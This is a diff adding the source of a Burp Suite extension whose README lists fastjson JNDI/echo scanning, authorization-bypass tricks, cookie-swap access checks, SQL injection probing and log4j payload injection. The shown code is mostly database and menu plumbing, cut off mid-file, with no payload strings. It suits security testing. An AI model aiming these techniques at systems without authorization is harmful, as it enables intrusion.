diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..5ff6309 --- /dev/null +++ b/.gitignore @@ -0,0 +1,38 @@ +target/ +!.mvn/wrapper/maven-wrapper.jar +!**/src/main/**/target/ +!**/src/test/**/target/ + +### IntelliJ IDEA ### +.idea/modules.xml +.idea/jarRepositories.xml +.idea/compiler.xml +.idea/libraries/ +*.iws +*.iml +*.ipr + +### Eclipse ### +.apt_generated +.classpath +.factorypath +.project +.settings +.springBeans +.sts4-cache + +### NetBeans ### +/nbproject/private/ +/nbbuild/ +/dist/ +/nbdist/ +/.nb-gradle/ +build/ +!**/src/main/**/build/ +!**/src/test/**/build/ + +### VS Code ### +.vscode/ + +### Mac OS ### +.DS_Store \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..74ed5fd --- /dev/null +++ b/README.md @@ -0,0 +1,104 @@ +# 项目说明 + +1. 重新写了UI,表格自动更新 +2. 对各个模块的被动扫描做了去重,重复的数据不再扫描 +3. 优化json格式的参数解析 +4. 各个模块进行优化 +5. 数据库配置文件自动生成 + +# 目前功能 + +1. fastjson扫描 +2. 权限绕过 +3. 未授权检测 +4. sql注入检测 +5. 工具调用 +7. log4j检测 +8. 复杂数据提交 + +# 使用说明 + +请使用`mvn clean package`进行编译打包,生成的jar包在target/目录下 + +请使用`mvn clean package`进行编译打包,生成的jar包在target/目录下 + +请使用`mvn clean package`进行编译打包,生成的jar包在target/目录下 + +皆可通过使用鼠标右键菜单,进行调用 + +![tool-1.png](images%2Ftool-1.png) + +![tool-2.png](images%2Ftool-2.png) + +# 功能说明 + +## fastjson扫描 + +![](./images/fastjson.png) + +> 使用前请先在配置面板配置dns,ip并点击保存 + +1. 通过鼠标右键菜单,扫描dns,jndi,回显,报错等 +2. dns扫描可以在数据库配置,type为dns,需要在替换dns域名的地方填写FUZZ,并在FUZZ前填写一个字符,如a.FUZZ,主要是为了区别 +3. jndi扫描可以在数据库配置,type为jndi,需要在替换jndi的地方填写FUZZ,jndi扫描会让你选择是使用dns还是ip +4. 回显扫描可以在数据库配置,type为echo,需要你填写执行的命令,默认是在请求头加Accept-Cache字段,响应是在响应头Content-auth字段 + +## 权限绕过 + +![](./images/authcheck.png) + +1. 通过给uri中加入特殊字符绕过权限 +2. 通过给header中加入字段绕过权限 +3. 添加accept头进行绕过 + +## 未授权检测 + +![](./images/prem.png) + +> 使用前请先在面板设置相关参数值 + +1. 通过替换低权限用户的cookie,来判断是否存在未授权 +2. 通过删除用户的cookie,来判断是否存在未授权 +3. 支持被动扫描 + +## sql注入检测 + +![](./images/sql.png) + +> 使用前请先在面板设置相关参数值 + +1. 通过添加特殊字符,来判断是否存在sql注入 +2. sql注入支持get,post,cookie,json等多种方式 + +## 工具调用 + +![](./images/config.png) + +> 使用前请先在面板设置相关参数值,并点击保存 + +1. 通过添加常用功能,来调用工具 +2. {host} 会被替换为当前请求的host +3. {url} 会被替换为当前请求的url +4. {request} 会保存当前数据包到用户名目录的./gather/目录下,进行调用 + + + +## log4j检测 + +1. 支持自定义payload,可通过勾选dns选择是dnslog地址,否则为ip,替换参数为dnslog-url +2. 支持get,post,json,header等多种方式 +3. 支持被动扫描 + +![img.png](images/log4j.png) + +## 复杂数据提交 + +1. 此功能主要是为了解决burp提交如序列化数据时,解析不出来的问题 +2. 请将数据进行base64后,放在``中,然后点击提交即可 + +![img.png](images/base64file.png) + +# 后期计划 + + +1. 如有想法,可以提issue \ No newline at end of file diff --git a/images/authcheck.png b/images/authcheck.png new file mode 100644 index 0000000..48a1bfd Binary files /dev/null and b/images/authcheck.png differ diff --git a/images/base64file.png b/images/base64file.png new file mode 100644 index 0000000..987bb6a Binary files /dev/null and b/images/base64file.png differ diff --git a/images/config.png b/images/config.png new file mode 100644 index 0000000..f739db5 Binary files /dev/null and b/images/config.png differ diff --git a/images/drophost.png b/images/drophost.png new file mode 100644 index 0000000..88f4ef7 Binary files /dev/null and b/images/drophost.png differ diff --git a/images/fastjson.png b/images/fastjson.png new file mode 100644 index 0000000..d58cb85 Binary files /dev/null and b/images/fastjson.png differ diff --git a/images/log4j.png b/images/log4j.png new file mode 100644 index 0000000..3717947 Binary files /dev/null and b/images/log4j.png differ diff --git a/images/prem.png b/images/prem.png new file mode 100644 index 0000000..d21af7e Binary files /dev/null and b/images/prem.png differ diff --git a/images/scop.png b/images/scop.png new file mode 100644 index 0000000..09d89e8 Binary files /dev/null and b/images/scop.png differ diff --git a/images/sql.png b/images/sql.png new file mode 100644 index 0000000..314bf7a Binary files /dev/null and b/images/sql.png differ diff --git a/images/tool-1.png b/images/tool-1.png new file mode 100644 index 0000000..967032f Binary files /dev/null and b/images/tool-1.png differ diff --git a/images/tool-2.png b/images/tool-2.png new file mode 100644 index 0000000..b541a55 Binary files /dev/null and b/images/tool-2.png differ diff --git a/pom.xml b/pom.xml new file mode 100644 index 0000000..994fbec --- /dev/null +++ b/pom.xml @@ -0,0 +1,86 @@ + + 4.0.0 + + org.xm17 + gatherBurp + 1.0.1-SNAPSHOT + jar + + gatherBurp + http://maven.apache.org + + + UTF-8 + + + + + + com.intellij + forms_rt + 7.0.3 + + + + + org.xerial + sqlite-jdbc + 3.43.2.2 + + + + + com.alibaba + fastjson + 1.2.83 + + + commons-io + commons-io + 2.11.0 + + + + net.portswigger.burp.extender + burp-extender-api + 2.3 + + + org.springframework + spring-expression + 4.3.22.RELEASE + + + + + + + + maven-assembly-plugin + + + + burp.BurpExtender + + + . + + + + jar-with-dependencies + + + + + make-assembly + package + + single + + + + + + + diff --git a/src/main/java/burp/BurpExtender.java b/src/main/java/burp/BurpExtender.java new file mode 100644 index 0000000..77a2bb6 --- /dev/null +++ b/src/main/java/burp/BurpExtender.java @@ -0,0 +1,115 @@ +package burp; + +import burp.bean.ConfigBean; +import burp.menu.*; +import burp.ui.MainUI; +import burp.utils.RobotInput; +import burp.utils.Utils; + +import javax.swing.*; +import java.awt.event.ActionEvent; +import java.io.PrintWriter; +import java.util.ArrayList; +import java.util.Base64; +import java.util.List; +import java.util.Objects; + +import static burp.dao.ConfigDao.getToolConfig; +import static burp.utils.Utils.writeReqFile; + +public class BurpExtender implements IBurpExtender, IContextMenuFactory, IHttpListener { + @Override + public void registerExtenderCallbacks(IBurpExtenderCallbacks iBurpExtenderCallbacks) { + Utils.callbacks = iBurpExtenderCallbacks; + Utils.helpers = iBurpExtenderCallbacks.getHelpers(); + Utils.stdout = new PrintWriter(iBurpExtenderCallbacks.getStdout(), true); + Utils.stderr = new PrintWriter(iBurpExtenderCallbacks.getStderr(), true); + Utils.callbacks.setExtensionName(Utils.name); + Utils.callbacks.registerContextMenuFactory(this); + Utils.callbacks.registerHttpListener(this); + MainUI mainUI = new MainUI(Utils.callbacks); + Utils.callbacks.addSuiteTab(mainUI); + SwingUtilities.invokeLater(new Runnable() { + @Override + public void run() { + Utils.callbacks.customizeUiComponent(mainUI); + } + }); + Utils.stdout.println("Loaded " + Utils.name + " v" + Utils.version + " by " + Utils.author); + + } + + @Override + public List createMenuItems(IContextMenuInvocation iContextMenuInvocation) { + List listMenuItems = new ArrayList(1); + IHttpRequestResponse[] requestResponses = iContextMenuInvocation.getSelectedMessages(); + IHttpRequestResponse baseRequestResponse = iContextMenuInvocation.getSelectedMessages()[0]; + + List toolParam = getToolConfig(); + for (ConfigBean config : toolParam) { + if (!Objects.equals(config.getType(), "") && !Objects.equals(config.getValue(), "")) { + listMenuItems.add(new JMenuItem(new AbstractAction(config.getType()) { + @Override + public void actionPerformed(ActionEvent e) { + Runnable toolRunner = new Runnable() { + @Override + public void run() { + try { + RobotInput ri = new RobotInput(); + if (requestResponses != null) { + String cmd = config.getValue(); + if (cmd.contains("{url}")) { + String url = Utils.helpers.analyzeRequest(baseRequestResponse).getUrl().toString(); + cmd = cmd.replace("{url}", url); + } else if (cmd.contains("{request}")) { + String requestFilePath = writeReqFile(baseRequestResponse); + assert requestFilePath != null; + cmd = cmd.replace("{request}", requestFilePath); + } else if (cmd.contains("{host}")) { + String host = baseRequestResponse.getHttpService().getHost(); + cmd = cmd.replace("{host}", host); + } + ri.inputString(cmd); + } + } catch (Exception e1) { + Utils.stderr.println(e1.getMessage()); + } + } + }; + new Thread(toolRunner).start(); + } + })); + } + } + JMenu fastjson = new JMenu("FastJson"); + fastjson.add(new FastjsonMenu().FastjsonDnslogMenu(requestResponses)); + fastjson.add(new FastjsonMenu().FastjsonEchoMenu(requestResponses)); + fastjson.add(new FastjsonMenu().FastjsonJNDIMenu(requestResponses)); + fastjson.add(new FastjsonMenu().FastjsonVersionMenu(requestResponses)); + listMenuItems.add(fastjson); + listMenuItems.add(new AuthMenu(requestResponses)); + listMenuItems.add(new Log4jMenu(requestResponses)); + listMenuItems.add(new PermMenu(requestResponses)); + listMenuItems.add(new SqlMenu(requestResponses)); + listMenuItems.add(new Base64DataMenu(requestResponses)); + listMenuItems.add(new NucleiMenu(requestResponses)); + return listMenuItems; + } + + @Override + public void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse messageInfo) { + if (toolFlag == IBurpExtenderCallbacks.TOOL_REPEATER && messageIsRequest) { + byte[] request = messageInfo.getRequest(); + String requestStr = Utils.helpers.bytesToString(request); + if (requestStr.contains("")) { + String data = requestStr.substring(requestStr.indexOf("") + 9, requestStr.indexOf("")); + byte[] decodedData = Base64.getDecoder().decode(data); + byte[] newBytes = new byte[request.length - data.length() + decodedData.length]; + System.arraycopy(request, 0, newBytes, 0, requestStr.indexOf("")); + System.arraycopy(decodedData, 0, newBytes, requestStr.indexOf(""), decodedData.length); + System.arraycopy(request, requestStr.indexOf("") + 10, newBytes, requestStr.indexOf("") + decodedData.length, request.length - requestStr.indexOf("") - 10); + messageInfo.setRequest(newBytes); + } + } + } +} diff --git a/src/main/java/burp/bean/AuthBean.java b/src/main/java/burp/bean/AuthBean.java new file mode 100644 index 0000000..2561e58 --- /dev/null +++ b/src/main/java/burp/bean/AuthBean.java @@ -0,0 +1,40 @@ +package burp.bean; + +public class AuthBean { + private String method; + private String path; + private String headers; + + public AuthBean() { + } + + public AuthBean(String method, String path, String headers) { + this.method = method; + this.path = path; + this.headers = headers; + } + + public String getMethod() { + return method; + } + + public void setMethod(String method) { + this.method = method; + } + + public String getPath() { + return path; + } + + public void setPath(String path) { + this.path = path; + } + + public String getHeaders() { + return headers; + } + + public void setHeaders(String headers) { + this.headers = headers; + } +} diff --git a/src/main/java/burp/bean/ConfigBean.java b/src/main/java/burp/bean/ConfigBean.java new file mode 100644 index 0000000..e35bea3 --- /dev/null +++ b/src/main/java/burp/bean/ConfigBean.java @@ -0,0 +1,49 @@ +package burp.bean; + +public class ConfigBean { + private Integer id; + private String module; + private String type; + private String value; + + public ConfigBean() { + } + + public ConfigBean(String module, String type, String value) { + this.module = module; + this.type = type; + this.value = value; + } + + public Integer getId() { + return id; + } + + public void setId(Integer id) { + this.id = id; + } + + public String getModule() { + return module; + } + + public void setModule(String module) { + this.module = module; + } + + public String getType() { + return type; + } + + public void setType(String type) { + this.type = type; + } + + public String getValue() { + return value; + } + + public void setValue(String value) { + this.value = value; + } +} diff --git a/src/main/java/burp/bean/FastjsonBean.java b/src/main/java/burp/bean/FastjsonBean.java new file mode 100644 index 0000000..794a3d5 --- /dev/null +++ b/src/main/java/burp/bean/FastjsonBean.java @@ -0,0 +1,40 @@ +package burp.bean; + +public class FastjsonBean { + private Integer id; + private String type; + private String url; + + public FastjsonBean() { + } + + public FastjsonBean(Integer id, String type, String url) { + this.id = id; + this.type = type; + this.url = url; + } + + public Integer getId() { + return id; + } + + public void setId(Integer id) { + this.id = id; + } + + public String getType() { + return type; + } + + public void setType(String type) { + this.type = type; + } + + public String getUrl() { + return url; + } + + public void setUrl(String url) { + this.url = url; + } +} diff --git a/src/main/java/burp/bean/Log4jBean.java b/src/main/java/burp/bean/Log4jBean.java new file mode 100644 index 0000000..28ef5b8 --- /dev/null +++ b/src/main/java/burp/bean/Log4jBean.java @@ -0,0 +1,45 @@ +package burp.bean; + +public class Log4jBean { + private Integer id; + private String type; + private String value; + + public Log4jBean() { + } + + public Log4jBean(String type, String value) { + this.type = type; + this.value = value; + } + + public Log4jBean(Integer id, String type, String value) { + this.id = id; + this.type = type; + this.value = value; + } + + public Integer getId() { + return id; + } + + public void setId(Integer id) { + this.id = id; + } + + public String getType() { + return type; + } + + public void setType(String type) { + this.type = type; + } + + public String getValue() { + return value; + } + + public void setValue(String value) { + this.value = value; + } +} diff --git a/src/main/java/burp/bean/NucleiBean.java b/src/main/java/burp/bean/NucleiBean.java new file mode 100644 index 0000000..a5d59eb --- /dev/null +++ b/src/main/java/burp/bean/NucleiBean.java @@ -0,0 +1,115 @@ +package burp.bean; + +public class NucleiBean { + private String id; + private String name; + private String author; + private String severity; + private String description; + private String reference; + private String tags; + private String method; + private String path; + private String header; + private String dsl; + private String raw; + + public NucleiBean() { + } + + public String getId() { + return id; + } + + public void setId(String id) { + this.id = id; + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public String getAuthor() { + return author; + } + + public void setAuthor(String author) { + this.author = author; + } + + public String getSeverity() { + return severity; + } + + public void setSeverity(String severity) { + this.severity = severity; + } + + public String getDescription() { + return description; + } + + public void setDescription(String description) { + this.description = description; + } + + public String getReference() { + return reference; + } + + public void setReference(String reference) { + this.reference = reference; + } + + public String getTags() { + return tags; + } + + public void setTags(String tags) { + this.tags = tags; + } + + public String getMethod() { + return method; + } + + public void setMethod(String method) { + this.method = method; + } + + public String getPath() { + return path; + } + + public void setPath(String path) { + this.path = path; + } + + public String getHeader() { + return header; + } + + public void setHeader(String header) { + this.header = header; + } + + public String getDsl() { + return dsl; + } + + public void setDsl(String dsl) { + this.dsl = dsl; + } + + public String getRaw() { + return raw; + } + + public void setRaw(String raw) { + this.raw = raw; + } +} diff --git a/src/main/java/burp/bean/SqlBean.java b/src/main/java/burp/bean/SqlBean.java new file mode 100644 index 0000000..28ed8f2 --- /dev/null +++ b/src/main/java/burp/bean/SqlBean.java @@ -0,0 +1,34 @@ +package burp.bean; + +public class SqlBean { + private int id; + private String sql; + + public SqlBean() { + } + + public SqlBean(String sql) { + this.sql = sql; + } + + public SqlBean(int id, String sql) { + this.id = id; + this.sql = sql; + } + + public int getId() { + return id; + } + + public void setId(int id) { + this.id = id; + } + + public String getSql() { + return sql; + } + + public void setSql(String sql) { + this.sql = sql; + } +} diff --git a/src/main/java/burp/dao/ConfigDao.java b/src/main/java/burp/dao/ConfigDao.java new file mode 100644 index 0000000..0f2859c --- /dev/null +++ b/src/main/java/burp/dao/ConfigDao.java @@ -0,0 +1,164 @@ +package burp.dao; + +import burp.bean.ConfigBean; +import burp.utils.DbUtils; +import burp.utils.Utils; + +import java.sql.Connection; +import java.sql.PreparedStatement; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.util.ArrayList; +import java.util.List; + + +public class ConfigDao { + // 根据模块和类型获取配置 + public static ConfigBean getConfig(String module, String type) { + ConfigBean config = new ConfigBean(); + String sql = "select value from config where module = ? and type = ? order by id desc limit 1"; + Connection connection = null; + try { + connection = DbUtils.getConnection(); + } catch (SQLException e) { + throw new RuntimeException(e); + } + PreparedStatement ps = null; + ResultSet resultSet = null; + try { + ps = connection.prepareStatement(sql); + ps.setString(1, module); + ps.setString(2, type); + resultSet = ps.executeQuery(); + while (resultSet.next()) { + config.setValue(resultSet.getString("value")); + } + } catch (Exception e) { + Utils.stderr.println(e.getMessage()); + } finally { + DbUtils.close(connection, ps, resultSet); + } + return config; + } + + // 删除配置 + public static void deleteConfig(String type) { + String sql = "delete from config where type = ?"; + Connection connection = null; + try { + connection = DbUtils.getConnection(); + } catch (SQLException e) { + throw new RuntimeException(e); + } + PreparedStatement ps = null; + try { + ps = connection.prepareStatement(sql); + ps.setString(1, type); + ps.executeUpdate(); + } catch (Exception e) { + e.printStackTrace(); + } finally { + DbUtils.close(connection, ps, null); + } + } + + // 根据id删除工具配置 + public static void deleteToolConfig(String type) { + String sql = "delete from config where type = ?"; + Connection connection = null; + try { + connection = DbUtils.getConnection(); + } catch (SQLException e) { + throw new RuntimeException(e); + } + PreparedStatement ps = null; + try { + ps = connection.prepareStatement(sql); + ps.setString(1, type); + ps.executeUpdate(); + } catch (Exception e) { + e.printStackTrace(); + } finally { + DbUtils.close(connection, ps, null); + } + } + + // 根据类型更新配置 + public static void updateConfig(ConfigBean config) { + String sql = "update config set value = ? where type = ? and module = ?"; + Connection connection = null; + try { + connection = DbUtils.getConnection(); + } catch (SQLException e) { + throw new RuntimeException(e); + } + PreparedStatement ps = null; + try { + ps = connection.prepareStatement(sql); + ps.setString(1, config.getValue()); + ps.setString(2, config.getType()); + ps.setString(3, config.getModule()); + ps.executeUpdate(); + } catch (Exception e) { + e.printStackTrace(); + } finally { + DbUtils.close(connection, ps, null); + } + } + + // 保存配置 + public static void saveConfig(ConfigBean config) { + String sql = "INSERT OR REPLACE INTO config (module, type, value) VALUES (?, ?, ?)"; + Connection connection = null; + try { + connection = DbUtils.getConnection(); + } catch (SQLException e) { + throw new RuntimeException(e); + } + PreparedStatement ps = null; + try { + ps = connection.prepareStatement(sql); + ps.setString(1, config.getModule()); + ps.setString(2, config.getType()); + ps.setString(3, config.getValue()); + ps.executeUpdate(); + } catch (Exception e) { + Utils.stderr.println(e.getMessage()); + } finally { + DbUtils.close(connection, ps, null); + } + + } + + // 获取工具配置 + public static List getToolConfig() { + List configs = new ArrayList<>(); + String sql = "select * from config where module = 'tool'"; + Connection connection = null; + try { + connection = DbUtils.getConnection(); + } catch (SQLException e) { + throw new RuntimeException(e); + } + PreparedStatement ps = null; + ResultSet resultSet = null; + try { + ps = connection.prepareStatement(sql); + resultSet = ps.executeQuery(); + while (resultSet.next()) { + ConfigBean config = new ConfigBean(); + config.setId(resultSet.getInt("id")); + config.setModule(resultSet.getString("module")); + config.setType(resultSet.getString("type")); + config.setValue(resultSet.getString("value")); + configs.add(config); + } + } catch (Exception e) { + Utils.stderr.println(e.getMessage()); + } finally { + DbUtils.close(connection, ps, resultSet); + } + return configs; + } + +} diff --git a/src/main/java/burp/dao/FastjsonDao.java b/src/main/java/burp/dao/FastjsonDao.java new file mode 100644 index 0000000..ee8fa14 --- /dev/null +++ b/src/main/java/burp/dao/FastjsonDao.java @@ -0,0 +1,135 @@ +package burp.dao; + +import burp.bean.FastjsonBean; +import burp.utils.DbUtils; +import burp.utils.Utils; + +import java.sql.Connection; +import java.sql.PreparedStatement; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.util.ArrayList; +import java.util.List; + +public class FastjsonDao { + public static List getFastjsonListByJNDI() { + List fastjsons = new ArrayList<>(); + + String sql = "select * from fastjson where type = 'jndi'"; + Connection connection = null; + try { + connection = DbUtils.getConnection(); + } catch (SQLException e) { + throw new RuntimeException(e); + } + PreparedStatement ps = null; + ResultSet resultSet = null; + try { + ps = connection.prepareStatement(sql); + resultSet = ps.executeQuery(); + while (resultSet.next()) { + FastjsonBean fastjson = new FastjsonBean(); + fastjson.setId(resultSet.getInt("id")); + fastjson.setType(resultSet.getString("type")); + fastjson.setUrl(resultSet.getString("url")); + fastjsons.add(fastjson); + } + } catch (Exception e) { + Utils.stderr.println(e.getMessage()); + } finally { + DbUtils.close(connection, ps, resultSet); + } + return fastjsons; + } + + public static List getFastjsonListByEchoVul() { + List fastjsons = new ArrayList<>(); + + String sql = "select * from fastjson where type = 'echo'"; + Connection connection = null; + try { + connection = DbUtils.getConnection(); + } catch (SQLException e) { + throw new RuntimeException(e); + } + PreparedStatement ps = null; + ResultSet resultSet = null; + try { + ps = connection.prepareStatement(sql); + resultSet = ps.executeQuery(); + while (resultSet.next()) { + FastjsonBean fastjson = new FastjsonBean(); + fastjson.setId(resultSet.getInt("id")); + fastjson.setType(resultSet.getString("type")); + fastjson.setUrl(resultSet.getString("url")); + fastjsons.add(fastjson); + } + } catch (Exception e) { + Utils.stderr.println(e.getMessage()); + } finally { + DbUtils.close(connection, ps, resultSet); + } + return fastjsons; + } + + public static List getFastjsonListByDnsLog() { + List fastjsons = new ArrayList<>(); + + String sql = "select * from fastjson where type = 'dns'"; + Connection connection = null; + try { + connection = DbUtils.getConnection(); + } catch (SQLException e) { + throw new RuntimeException(e); + } + PreparedStatement ps = null; + ResultSet resultSet = null; + try { + ps = connection.prepareStatement(sql); + resultSet = ps.executeQuery(); + while (resultSet.next()) { + FastjsonBean fastjson = new FastjsonBean(); + fastjson.setId(resultSet.getInt("id")); + fastjson.setType(resultSet.getString("type")); + fastjson.setUrl(resultSet.getString("url")); + fastjsons.add(fastjson); + } + } catch (Exception e) { + Utils.stderr.println(e.getMessage()); + } finally { + DbUtils.close(connection, ps, resultSet); + } + return fastjsons; + } + + public static List getFastjsonListByVersion() { + List fastjsons = new ArrayList<>(); + + String sql = "select * from fastjson where type = 'version'"; + Connection connection = null; + try { + connection = DbUtils.getConnection(); + } catch (SQLException e) { + throw new RuntimeException(e); + } + PreparedStatement ps = null; + ResultSet resultSet = null; + try { + ps = connection.prepareStatement(sql); + resultSet = ps.executeQuery(); + while (resultSet.next()) { + FastjsonBean fastjson = new FastjsonBean(); + fastjson.setId(resultSet.getInt("id")); + fastjson.setType(resultSet.getString("type")); + fastjson.setUrl(resultSet.getString("url")); + fastjsons.add(fastjson); + } + } catch (Exception e) { + Utils.stderr.println(e.getMessage()); + } finally { + DbUtils.close(connection, ps, resultSet); + } + return fastjsons; + } + +} diff --git a/src/main/java/burp/dao/Log4jDao.java b/src/main/java/burp/dao/Log4jDao.java new file mode 100644 index 0000000..5cdcc56 --- /dev/null +++ b/src/main/java/burp/dao/Log4jDao.java @@ -0,0 +1,153 @@ +package burp.dao; + +import burp.bean.Log4jBean; +import burp.utils.DbUtils; +import burp.utils.Utils; + +import java.sql.Connection; +import java.sql.PreparedStatement; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.util.ArrayList; +import java.util.List; + +public class Log4jDao { + public static List getPayloadList() { + List datas = new ArrayList<>(); + String sql = "select * from log4j where type = 'payload'"; + Connection connection = null; + try { + connection = DbUtils.getConnection(); + } catch (SQLException e) { + throw new RuntimeException(e); + } + PreparedStatement ps = null; + ResultSet resultSet = null; + try { + ps = connection.prepareStatement(sql); + resultSet = ps.executeQuery(); + while (resultSet.next()) { + Log4jBean config = new Log4jBean(); + config.setId(resultSet.getInt("id")); + config.setType(resultSet.getString("type")); + config.setValue(resultSet.getString("value")); + datas.add(config); + } + } catch (Exception e) { + Utils.stderr.println(e.getMessage()); + } finally { + DbUtils.close(connection, ps, resultSet); + } + return datas; + } + + public static List getHeaderList() { + List datas = new ArrayList<>(); + String sql = "select * from log4j where type = 'header'"; + Connection connection = null; + try { + connection = DbUtils.getConnection(); + } catch (SQLException e) { + throw new RuntimeException(e); + } + PreparedStatement ps = null; + ResultSet resultSet = null; + try { + ps = connection.prepareStatement(sql); + resultSet = ps.executeQuery(); + while (resultSet.next()) { + Log4jBean config = new Log4jBean(); + config.setId(resultSet.getInt("id")); + config.setType(resultSet.getString("type")); + config.setValue(resultSet.getString("value")); + datas.add(config); + } + } catch (Exception e) { + Utils.stderr.println(e.getMessage()); + } finally { + DbUtils.close(connection, ps, resultSet); + } + return datas; + } + + public static void deleteHeader() { + String sql = "delete from log4j where type = 'header'"; + Connection connection = null; + try { + connection = DbUtils.getConnection(); + } catch (SQLException e) { + throw new RuntimeException(e); + } + PreparedStatement ps = null; + try { + ps = connection.prepareStatement(sql); + ps.executeUpdate(); + } catch (SQLException e) { + Utils.stderr.println(e.getMessage()); + } finally { + DbUtils.close(connection, ps, null); + } + } + + public static void saveHeader(Log4jBean log4jBean) { + String sql = "insert into log4j(type,value) values(?,?)"; + Connection connection = null; + try { + connection = DbUtils.getConnection(); + } catch (SQLException e) { + throw new RuntimeException(e); + } + PreparedStatement ps = null; + try { + ps = connection.prepareStatement(sql); + ps.setString(1, log4jBean.getType()); + ps.setString(2, log4jBean.getValue()); + ps.executeUpdate(); + } catch (SQLException e) { + Utils.stderr.println(e.getMessage()); + } finally { + DbUtils.close(connection, ps, null); + } + } + + public static void deletePayload() { + String sql = "delete from log4j where type = 'payload'"; + Connection connection = null; + try { + connection = DbUtils.getConnection(); + } catch (SQLException e) { + throw new RuntimeException(e); + } + PreparedStatement ps = null; + try { + ps = connection.prepareStatement(sql); + ps.executeUpdate(); + } catch (SQLException e) { + Utils.stderr.println(e.getMessage()); + } finally { + DbUtils.close(connection, ps, null); + } + } + + public static void savePayload(Log4jBean log4jBean) { + String sql = "insert into log4j(type,value) values(?,?)"; + Connection connection = null; + try { + connection = DbUtils.getConnection(); + } catch (SQLException e) { + throw new RuntimeException(e); + } + PreparedStatement ps = null; + try { + ps = connection.prepareStatement(sql); + ps.setString(1, log4jBean.getType()); + ps.setString(2, log4jBean.getValue()); + ps.executeUpdate(); + } catch (SQLException e) { + Utils.stderr.println(e.getMessage()); + } finally { + DbUtils.close(connection, ps, null); + } + } + +} diff --git a/src/main/java/burp/dao/SqlDao.java b/src/main/java/burp/dao/SqlDao.java new file mode 100644 index 0000000..c6dae18 --- /dev/null +++ b/src/main/java/burp/dao/SqlDao.java @@ -0,0 +1,81 @@ +package burp.dao; + +import burp.bean.SqlBean; +import burp.utils.DbUtils; +import burp.utils.Utils; + +import java.sql.Connection; +import java.sql.PreparedStatement; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.util.ArrayList; +import java.util.List; + +public class SqlDao { + public static List getSqlList() { + List datas = new ArrayList<>(); + String sql = "select * from sqli"; + Connection connection = null; + try { + connection = DbUtils.getConnection(); + } catch (SQLException e) { + throw new RuntimeException(e); + } + PreparedStatement ps = null; + ResultSet resultSet = null; + try { + ps = connection.prepareStatement(sql); + resultSet = ps.executeQuery(); + while (resultSet.next()) { + SqlBean config = new SqlBean(); + config.setId(resultSet.getInt("id")); + config.setSql(resultSet.getString("sql")); + datas.add(config); + } + } catch (Exception e) { + Utils.stderr.println(e.getMessage()); + } finally { + DbUtils.close(connection, ps, resultSet); + } + return datas; + } + + public static void deleteSql() { + String sql = "delete from sqli"; + Connection connection = null; + try { + connection = DbUtils.getConnection(); + } catch (SQLException e) { + throw new RuntimeException(e); + } + PreparedStatement ps = null; + try { + ps = connection.prepareStatement(sql); + ps.executeUpdate(); + } catch (Exception e) { + Utils.stderr.println(e.getMessage()); + } finally { + DbUtils.close(connection, ps, null); + } + } + + public static void saveSql(SqlBean sqlBean) { + String sql = "insert into sqli(sql) values(?)"; + Connection connection = null; + try { + connection = DbUtils.getConnection(); + } catch (SQLException e) { + throw new RuntimeException(e); + } + PreparedStatement ps = null; + try { + ps = connection.prepareStatement(sql); + ps.setString(1, sqlBean.getSql()); + ps.executeUpdate(); + } catch (Exception e) { + Utils.stderr.println(e.getMessage()); + } finally { + DbUtils.close(connection, ps, null); + } + } +} diff --git a/src/main/java/burp/menu/AuthMenu.java b/src/main/java/burp/menu/AuthMenu.java new file mode 100644 index 0000000..ce414ba --- /dev/null +++ b/src/main/java/burp/menu/AuthMenu.java @@ -0,0 +1,25 @@ +package burp.menu; + +import burp.IHttpRequestResponse; +import burp.ui.AuthUI; + +import javax.swing.*; +import java.awt.event.ActionListener; + +public class AuthMenu extends JMenuItem { + public AuthMenu(IHttpRequestResponse[] requestResponses) { + this.setText("^_^ AuthBypass Check"); + this.addActionListener(new ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + Thread thread = new Thread(new Runnable() { + @Override + public void run() { + AuthUI.Check(requestResponses); + } + }); + thread.start(); + + } + }); + } +} diff --git a/src/main/java/burp/menu/Base64DataMenu.java b/src/main/java/burp/menu/Base64DataMenu.java new file mode 100644 index 0000000..70e9c97 --- /dev/null +++ b/src/main/java/burp/menu/Base64DataMenu.java @@ -0,0 +1,35 @@ +package burp.menu; + +import burp.IHttpRequestResponse; + +import javax.swing.*; +import java.awt.*; +import java.awt.datatransfer.Clipboard; +import java.awt.datatransfer.StringSelection; + +public class Base64DataMenu extends JMenuItem { + public Base64DataMenu(IHttpRequestResponse[] requestResponses) { + this.setText("^_^ Insert Base64 Data"); + this.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + Thread thread = new Thread(new Runnable() { + @Override + public void run() { + CheckBase64Data(requestResponses); + } + }); + thread.start(); + + } + }); + } + + private static void CheckBase64Data(IHttpRequestResponse[] requestResponses) { + StringSelection stringSelection = null; + stringSelection = new StringSelection(""); + Clipboard clipboard = Toolkit.getDefaultToolkit().getSystemClipboard(); + clipboard.setContents(stringSelection, null); + // 弹窗 + JOptionPane.showMessageDialog(null, "请在需要的位置粘贴", "Tips", JOptionPane.INFORMATION_MESSAGE); + } +} diff --git a/src/main/java/burp/menu/FastjsonMenu.java b/src/main/java/burp/menu/FastjsonMenu.java new file mode 100644 index 0000000..2ecf714 --- /dev/null +++ b/src/main/java/burp/menu/FastjsonMenu.java @@ -0,0 +1,77 @@ +package burp.menu; + +import burp.IHttpRequestResponse; +import burp.ui.FastjsonUI; + +import javax.swing.*; +import java.awt.event.ActionListener; + +public class FastjsonMenu extends JMenuItem { + public JMenuItem FastjsonDnslogMenu(IHttpRequestResponse[] responses) { + this.setText("^_^ FastJson Dnslog Check"); + this.addActionListener(new ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + Thread thread = new Thread(new Runnable() { + @Override + public void run() { + new FastjsonUI().CheckDnslog(responses); + } + }); + thread.start(); + + } + }); + return this; + } + + public JMenuItem FastjsonEchoMenu(IHttpRequestResponse[] responses) { + this.setText("^_^ FastJson Echo Check"); + this.addActionListener(new ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + Thread thread = new Thread(new Runnable() { + @Override + public void run() { + new 